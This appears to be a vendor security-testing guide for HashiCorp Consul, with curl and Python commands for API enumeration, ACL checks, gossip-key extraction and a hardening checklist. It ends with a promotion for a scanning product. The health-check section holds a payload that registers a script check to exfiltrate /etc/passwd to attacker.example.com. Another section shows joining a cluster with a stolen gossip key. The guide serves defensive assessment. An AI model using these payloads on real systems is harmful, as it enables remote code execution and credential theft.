Consul Security Testing: ACL Bypass, Gossip Encryption Weakness, and Health Check Abuse

HashiCorp Consul provides service discovery, health checking, and a service mesh via Consul Connect. Its API and DNS interfaces expose all registered services, the gossip protocol uses a shared encryption key whose compromise allows network eavesdropping and cluster join, health check scripts execute arbitrary commands on Consul agents when triggered, and the KV store frequently contains credentials and configuration that should live in Vault. This guide covers systematic Consul security assessment from both external discovery and internal agent perspectives.

Table of Contents

  1. Consul API and UI Exposure Testing
  2. ACL Configuration and Token Enumeration
  3. Gossip Encryption Key Extraction
  4. KV Store Sensitive Data Exposure
  5. Health Check Script Injection RCE
  6. Consul Connect Intention Bypass
  7. DNS Interface Information Disclosure
  8. Consul Security Hardening

Consul API and UI Exposure Testing

# Consul HTTP API defaults to port 8500 (HTTP) or 8501 (HTTPS)
# Without ACLs, all endpoints are publicly accessible

# Test unauthenticated API access
curl -s http://consul.example.com:8500/v1/status/leader | python3 -m json.tool
# Returns leader address — confirms API is accessible

# Enumerate all registered services
curl -s http://consul.example.com:8500/v1/catalog/services | python3 -c "
import json,sys
services = json.load(sys.stdin)
for svc, tags in services.items():
    print(f'Service: {svc} tags: {tags}')
"

# Get service endpoints (IP:port for each service instance)
curl -s "http://consul.example.com:8500/v1/catalog/service/postgres" | python3 -c "
import json,sys
instances = json.load(sys.stdin)
for i in instances:
    print(f\"  Node: {i['Node']} Address: {i['Address']}:{i['ServicePort']}\")
    print(f\"  Meta: {i.get('ServiceMeta',{})}\")
"

# List all nodes in the cluster
curl -s http://consul.example.com:8500/v1/catalog/nodes | python3 -c "
import json,sys
nodes = json.load(sys.stdin)
for n in nodes:
    print(f\"Node: {n['Node']} IP: {n['Address']} DC: {n.get('Datacenter','?')}\")
"

# Check if Consul UI is accessible (port 8500)
curl -s http://consul.example.com:8500/ui/ -o /dev/null -w "%{http_code}"
# 200 = UI accessible without auth

ACL Configuration and Token Enumeration

# Consul ACLs control access to the API, KV store, and service registration
# Default ACL policy may be 'allow' (everything permitted without a token)

# Check ACL configuration
curl -s http://consul.example.com:8500/v1/acl/info/anonymous | python3 -c "
import json,sys
try:
    r = json.load(sys.stdin)
    print('Anonymous token policy:', r)
except:
    print('No ACL or access denied')
"

# Check the default policy
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
config = r.get('Config',{})
print(f'ACL enabled: {config.get(\"ACLDefaultPolicy\",\"UNKNOWN\")}')
print(f'ACL down policy: {config.get(\"ACLDownPolicy\",\"?\")}')
# DefaultPolicy: allow = everything permitted without token (insecure)
# DefaultPolicy: deny = nothing permitted without token (secure)
"

# Test without a token (should fail if ACLs are enforced with deny default)
curl -s http://consul.example.com:8500/v1/kv/?recurse 2>/dev/null | head -5
# If returns data: ACLs not enforced or default is 'allow'

# List ACL tokens (requires management token)
curl -s http://consul.example.com:8500/v1/acl/tokens \
  -H "X-Consul-Token: MANAGEMENT-TOKEN" | python3 -c "
import json,sys
tokens = json.load(sys.stdin)
for t in tokens:
    print(f\"Token: {t.get('AccessorID','?')[:8]}... Desc: {t.get('Description','?')}\")
    print(f\"  Policies: {[p.get('Name','?') for p in t.get('Policies',[])]}\")
"

Gossip Encryption Key Extraction

# Consul gossip uses a shared AES-128 key for LAN/WAN gossip encryption
# The key is stored in agent configuration files on each node
# Extraction enables: join the cluster as a legitimate-looking member, sniff gossip traffic

# Check gossip key in Consul agent config
# Common locations:
for path in /etc/consul.d/consul.hcl /etc/consul.d/config.json \
            /opt/consul/config.hcl /var/consul/config.json; do
  cat $path 2>/dev/null | grep -E '"encrypt"|encrypt =' | head -3
done

# Check environment variables
env | grep -iE "consul|gossip|encrypt"

# Check Kubernetes secret if Consul is running in K8s
kubectl get secret consul-gossip-encryption-key \
  -n consul -o json 2>/dev/null | python3 -c "
import json,sys,base64
s = json.load(sys.stdin)
for k,v in s.get('data',{}).items():
    print(f'{k}: {base64.b64decode(v).decode()}')
"

# With gossip key: join Consul cluster from attacker machine
consul agent -dev \
  -encrypt="GOSSIP-KEY" \
  -retry-join="consul.example.com" \
  -bind=ATTACKER-IP &
# Once joined, can register fake services, manipulate health checks,
# and potentially access the Consul API through the cluster

Health Check Script Injection RCE

# Consul health checks can execute scripts — if an attacker can register a service
# with a malicious health check script, it executes on the Consul agent host

# Check if script checks are enabled
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
config = r.get('Config',{})
print(f'EnableScriptChecks: {config.get(\"EnableScriptChecks\",False)}')
print(f'EnableLocalScriptChecks: {config.get(\"EnableLocalScriptChecks\",False)}')
"

# Test: register a service with a malicious script health check
# (Requires service:write ACL or no ACLs)
curl -X PUT http://consul.example.com:8500/v1/agent/service/register \
  -H "Content-Type: application/json" \
  -d '{
    "ID": "exploit-service",
    "Name": "exploit-service",
    "Check": {
      "Name": "health-check-exploit",
      "Script": "curl http://attacker.example.com/?data=$(cat /etc/passwd | base64 | tr -d '\''\\n'\'')",
      "Interval": "10s"
    }
  }' 2>&1 | head -5
# If script checks disabled: returns "Scripts are disabled on this agent"
# If enabled: script executes every 10 seconds on the Consul agent host

# CVE-2021-37219 — Consul Raft RPC privilege escalation
# Consul before 1.10.1 allowed non-server agents to execute arbitrary Raft RPCs
# Test: check Consul version
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
print('Consul version:', r.get('Config',{}).get('Version','?'))
"

Consul Security Hardening

Consul Security Hardening Checklist:
Security TestMethodRisk
Consul API accessible without tokencurl /v1/catalog/services without X-Consul-TokenCritical
Script health checks enabledCheck EnableScriptChecks in agent selfCritical
Gossip key in config files/K8s secretsSearch agent config, kubectl get secretHigh
KV store contains passwords/API keyscurl /v1/kv/?recurse — check valuesHigh
ACL default policy is 'allow'Check ACLDefaultPolicy in agent configHigh
Consul UI publicly accessiblecurl port 8500 /ui/ returns 200Medium

Automate Consul Security Testing

Ironimo tests Consul deployments for unauthenticated API access, ACL default-allow misconfigurations, gossip encryption key exposure, health check script injection RCE, KV store credential exposure, and Consul Connect intention bypass — covering the complete Consul attack surface.

Start free scan